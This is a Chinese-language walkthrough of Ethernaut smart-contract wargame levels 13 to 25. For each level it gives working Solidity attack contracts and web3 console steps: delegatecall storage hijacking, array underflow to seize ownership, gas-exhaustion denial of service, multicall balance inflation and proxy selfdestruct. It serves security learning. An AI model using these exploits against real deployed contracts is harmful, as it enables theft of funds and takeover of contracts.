Ethernaut题解2022版(下)
字数 1461 2025-08-29 08:32:18

Ethernaut智能合约攻防题解(下)

13. Gatekeeper One

合约分析

contract GatekeeperOne {
    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }
    
    modifier gateTwo() {
        require(gasleft().mod(8191) == 0);
        _;
    }
    
    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
        require(uint32(uint64(_gateKey)) != uint64(_gateKey));
        require(uint32(uint64(_gateKey)) == uint16(tx.origin));
    }
    
    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

解题要点

  1. gateOne绕过

    • 通过中间合约调用,使msg.sender != tx.origin
  2. gateTwo绕过

    • 通过调试确定gas消耗量x
    • 设置gas为8191*n + x
    • 或者爆破gas值(推荐)
  3. gateThree绕过

    • 第一部分:0x????????0000????格式
    • 第二部分:高4字节不全为0
    • 第三部分:低2字节等于tx.origin地址的低2字节

攻击合约

contract attack {
    function exploit() public {
        bytes8 key = 0xAAAAAAAA00004261; // 最后4位替换为你的地址低2字节
        for (uint256 i = 0; i < 120; i++) {
            (bool result,) = target.call{gas: i + 150 + 8191 * 3}(
                abi.encodeWithSignature("enter(bytes8)", key)
            );
            if (result) break;
        }
    }
}

14. Gatekeeper Two

合约分析

contract GatekeeperTwo {
    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }
    
    modifier gateTwo() {
        uint x;
        assembly { x := extcodesize(caller()) }
        require(x == 0);
        _;
    }
    
    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    }
}

解题要点

  1. gateTwo绕过

    • 在构造函数中调用,此时extcodesize为0
  2. gateThree计算

    • _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1))

攻击合约

contract attack {
    constructor(address _addr) public {
        bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
        target.call(abi.encodeWithSignature("enter(bytes8)", key));
    }
}

15. Naught Coin

合约分析

contract NaughtCoin is ERC20 {
    function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
        super.transfer(_to, _value);
    }
    
    modifier lockTokens() {
        if (msg.sender == player) {
            require(now > timeLock);
            _;
        }
    }
}

解题要点

  • 使用transferFrom绕过transfer限制
  • 先调用approve授权

攻击步骤

await contract.approve(player, totalvalue);
await contract.transferFrom(player, secondaddr, totalvalue);

16. Preservation

合约分析

contract Preservation {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    
    function setFirstTime(uint _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

contract LibraryContract {
    uint storedTime;
    function setTime(uint _time) public {
        storedTime = _time;
    }
}

解题要点

  1. 通过delegatecall修改timeZone1Library
  2. timeZone1Library指向恶意合约
  3. 恶意合约的setTime修改owner

攻击合约

contract attack {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    
    function setTime(uint256 a) public {
        owner = address(a);
    }
}

攻击步骤

  1. 调用setFirstTime设置恶意合约地址
  2. 再次调用setFirstTime设置owner地址

17. Recovery

解题要点

  1. 在Etherscan查找合约的Internal Txns
  2. 找到创建的SimpleToken合约地址
  3. 调用destroy函数

攻击合约

contract attack {
    function exploit() public {
        target.call(abi.encodeWithSignature("destroy(address)", myaddr));
    }
}

18. MagicNumber

解题要点

编写10字节的合约返回42:

  1. Runtime代码 (10字节):

    602a60505260206050f3
    
    • 将42(0x2a)存入memory
    • 返回memory中的值
  2. Initialization代码 (12字节):

    600a600c600039600a6000f3
    
    • 复制runtime代码到memory
    • 返回runtime代码

完整字节码

600a600c600039600a6000f3602a60505260206050f3

19. Alien Codex

合约分析

contract AlienCodex is Ownable {
    bytes32[] public codex;
    
    function retract() public {
        codex.length--;
    }
    
    function revise(uint i, bytes32 _content) public {
        codex[i] = _content;
    }
}

解题要点

  1. 调用retract使codex.length下溢
  2. 计算数组起始位置:keccak256(1)
  3. 计算覆盖slot0的索引:2^256 - keccak256(1)
  4. 调用revise修改owner

攻击步骤

await contract.make_contact();
await contract.retract();
const index = BigInt(2**256) - BigInt(web3.utils.keccak256(web3.eth.abi.encodeParameters(['uint256'], [1])));
await contract.revise(index, "0x000000000000000000000001" + player.slice(2));

20. Denial

合约分析

contract Denial {
    function withdraw() public {
        partner.call{value: amountToSend}("");
        owner.transfer(amountToSend);
    }
}

解题要点

  • 使partner.call耗尽gas
  • 两种方法:
    1. 无限循环
    2. assert(false)

攻击合约

contract attack {
    fallback() external payable {
        assert(false); // 或 while(true) {}
    }
}

21. Shop

合约分析

contract Shop {
    function buy() public {
        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

解题要点

  • 利用isSold状态变化返回不同价格
  • 使用staticcall检查isSold

攻击合约

contract Buyer {
    function price() external view returns (uint) {
        bytes memory r;
        (,r) = target.staticcall(abi.encodeWithSignature("isSold()"));
        return uint8(r[31]) == 0 ? 100 : 1;
    }
}

22. Dex

解题要点

  1. 利用整数除法精度损失
  2. 循环交换放大代币数量

攻击步骤

// 初始交换
await contract.swap(token1, token2, 10);
// 后续交换逐步放大
await contract.swap(token2, token1, 20);
await contract.swap(token1, token2, 24);
// 直到清空合约代币

23. Dex Two

解题要点

  1. 部署恶意ERC20代币
  2. 向Dex添加流动性
  3. 用恶意代币交换目标代币

攻击合约

contract Mytoken is ERC20 {
    constructor(uint initialSupply) public ERC20("Mytoken", "MYT") {
        _mint(msg.sender, initialSupply);
    }
}

攻击步骤

await contract.add_liquidity(mytoken1, 100);
await contract.swap(mytoken1, token1, 100);

24. Puzzle Wallet

解题要点

  1. 通过Proxy修改pendingAdmin影响owner
  2. 多重调用deposit放大余额
  3. 清空合约余额后修改maxBalance

攻击步骤

// 1. 成为owner
await contract.proposeNewAdmin(player);

// 2. 多重调用deposit
const depositData = await contract.methods["deposit()"].request().then(v => v.data);
const multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data);
await contract.multicall([depositData, multicallData], {value: toWei('0.001')});

// 3. 提款并修改maxBalance
await contract.execute(player, toWei('0.002'), 0x0);
await contract.setMaxBalance(player);

25. Motorbike

解题要点

  1. 获取Engine合约地址
  2. 初始化Engine合约
  3. 通过upgradeToAndCall自毁

攻击合约

contract attack {
    constructor(address _addr) public {
        // 1. 初始化成为upgrader
        _addr.call(abi.encodeWithSignature("initialize()"));
        
        // 2. 部署自毁合约并调用
        DestructContract destruct = new DestructContract();
        _addr.call(abi.encodeWithSignature(
            "upgradeToAndCall(address,bytes)", 
            address(destruct),
            abi.encodeWithSignature("destruct()")
        ));
    }
}

contract DestructContract {
    function destruct() external {
        selfdestruct(msg.sender);
    }
}
Ethernaut智能合约攻防题解(下) 13. Gatekeeper One 合约分析 解题要点 gateOne绕过 : 通过中间合约调用,使 msg.sender != tx.origin gateTwo绕过 : 通过调试确定gas消耗量x 设置gas为 8191*n + x 或者爆破gas值(推荐) gateThree绕过 : 第一部分: 0x????????0000???? 格式 第二部分:高4字节不全为0 第三部分:低2字节等于tx.origin地址的低2字节 攻击合约 14. Gatekeeper Two 合约分析 解题要点 gateTwo绕过 : 在构造函数中调用,此时 extcodesize 为0 gateThree计算 : _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1)) 攻击合约 15. Naught Coin 合约分析 解题要点 使用 transferFrom 绕过 transfer 限制 先调用 approve 授权 攻击步骤 16. Preservation 合约分析 解题要点 通过 delegatecall 修改 timeZone1Library 将 timeZone1Library 指向恶意合约 恶意合约的 setTime 修改owner 攻击合约 攻击步骤 调用 setFirstTime 设置恶意合约地址 再次调用 setFirstTime 设置owner地址 17. Recovery 解题要点 在Etherscan查找合约的Internal Txns 找到创建的SimpleToken合约地址 调用 destroy 函数 攻击合约 18. MagicNumber 解题要点 编写10字节的合约返回42: Runtime代码 (10字节): 将42(0x2a)存入memory 返回memory中的值 Initialization代码 (12字节): 复制runtime代码到memory 返回runtime代码 完整字节码 19. Alien Codex 合约分析 解题要点 调用 retract 使 codex.length 下溢 计算数组起始位置: keccak256(1) 计算覆盖slot0的索引: 2^256 - keccak256(1) 调用 revise 修改owner 攻击步骤 20. Denial 合约分析 解题要点 使 partner.call 耗尽gas 两种方法: 无限循环 assert(false) 攻击合约 21. Shop 合约分析 解题要点 利用 isSold 状态变化返回不同价格 使用 staticcall 检查 isSold 攻击合约 22. Dex 解题要点 利用整数除法精度损失 循环交换放大代币数量 攻击步骤 23. Dex Two 解题要点 部署恶意ERC20代币 向Dex添加流动性 用恶意代币交换目标代币 攻击合约 攻击步骤 24. Puzzle Wallet 解题要点 通过Proxy修改 pendingAdmin 影响 owner 多重调用 deposit 放大余额 清空合约余额后修改 maxBalance 攻击步骤 25. Motorbike 解题要点 获取Engine合约地址 初始化Engine合约 通过 upgradeToAndCall 自毁 攻击合约